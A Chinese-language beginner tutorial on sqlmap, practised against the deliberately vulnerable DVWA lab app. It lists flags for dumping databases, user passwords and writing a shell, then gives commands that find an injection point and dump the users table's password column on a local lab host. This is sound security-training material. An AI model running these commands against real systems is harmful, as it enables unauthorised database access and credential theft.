(图片部分来自网络,如有侵权请联系我删除)
目录
简介
渗透测试平台
SQLMAP常用命令
初级使用方法
一、简介
sqlmap 是一种开源渗透测试工具,可自动检测和利用 SQL 注入缺陷并接管数据库服务器。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
二、渗透测试平台
这里用的渗透测试平台是DVWA。DVWA是一个非常脆弱的PHP/MySQL网络应用。其主要目标是帮助安全专业人员在法律环境中测试他们的技能和工具,帮助网络开发人员更好地理解保护网络应用程序的过程,并帮助教师/学生在教室环境中教授/学习网络应用程序安全性。
三、SQLMAP常用命令
-u #注入点
-g 谷歌搜索
-f #指纹判别数据库类型
-b #获取数据库版本信息
-p #指定可测试的参数(?page=1&id=2 -p “page,id”)
-D “” #指定数据库名
-T “” #指定表名
-C “” #指定字段
-s “” #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log” 恢复:-s “xx.log” –resume)
–columns #列出字段
–current-user #获取当前用户名称
–current-db #获取当前数据库名称
–users #列数据库所有用户
–passwords #数据库用户所有密码
–privileges #查看用户权限(–privileges -U root)
-U #指定数据库用户
–dbs #列出所有数据库
–tables -D “” #列出指定数据库中的表
–columns -T “user” -D “mysql” #列出mysql数据库中的user表的所有字段
–dump-all #列出所有数据库所有表
–exclude-sysdbs #只列出用户自己新建的数据库和表
–dump -T “” -D “” -C “” #列出指定数据库的表的字段的数据(–dump -T users -D master -C surname)
–dump -T “” -D “” –start 2 –top 4 # 列出指定数据库的表的2-4字段的数据
–dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
–os #指定系统(Linux,Windows)
--sql -shell 写shell
--delay 延迟的时间
--safe-freq 次数
-v #详细的等级(0-6):
四、初级使用方法
1、检查是否存在注入点
命令:
python sqlmap.py -u "http://192.168.88.133/dvwa/vulnerabilities/sqli/?id=1"
选择DVWA的SQL Injection(SQL注入)输入一个数字提交一下
接下来直接用SQLMAP判断是否存在注入点
结果显示存在注入
2.列出所有数据库
命令:
python sqlmap.py -u "http://192.168.88.133/dvwa/vulnerabilities/sqli/?id=1" --dbs
3、列出dvwa数据库所有表
命令:
python sqlmap.py -u "http://192.168.88.133/dvwa/vulnerabilities/sqli/?id=1" -D dvwa --tables
4、列出表users所有列
命令:
python sqlmap.py -u "http://192.168.88.133/dvwa/vulnerabilities/sqli/?id=1" -D dvwa -T users --columns
5、列出password所有行
命令:
python sqlmap.py -u "http://192.168.88.133/dvwa/vulnerabilities/sqli/?id=1" -D dvwa -T users -C password --dump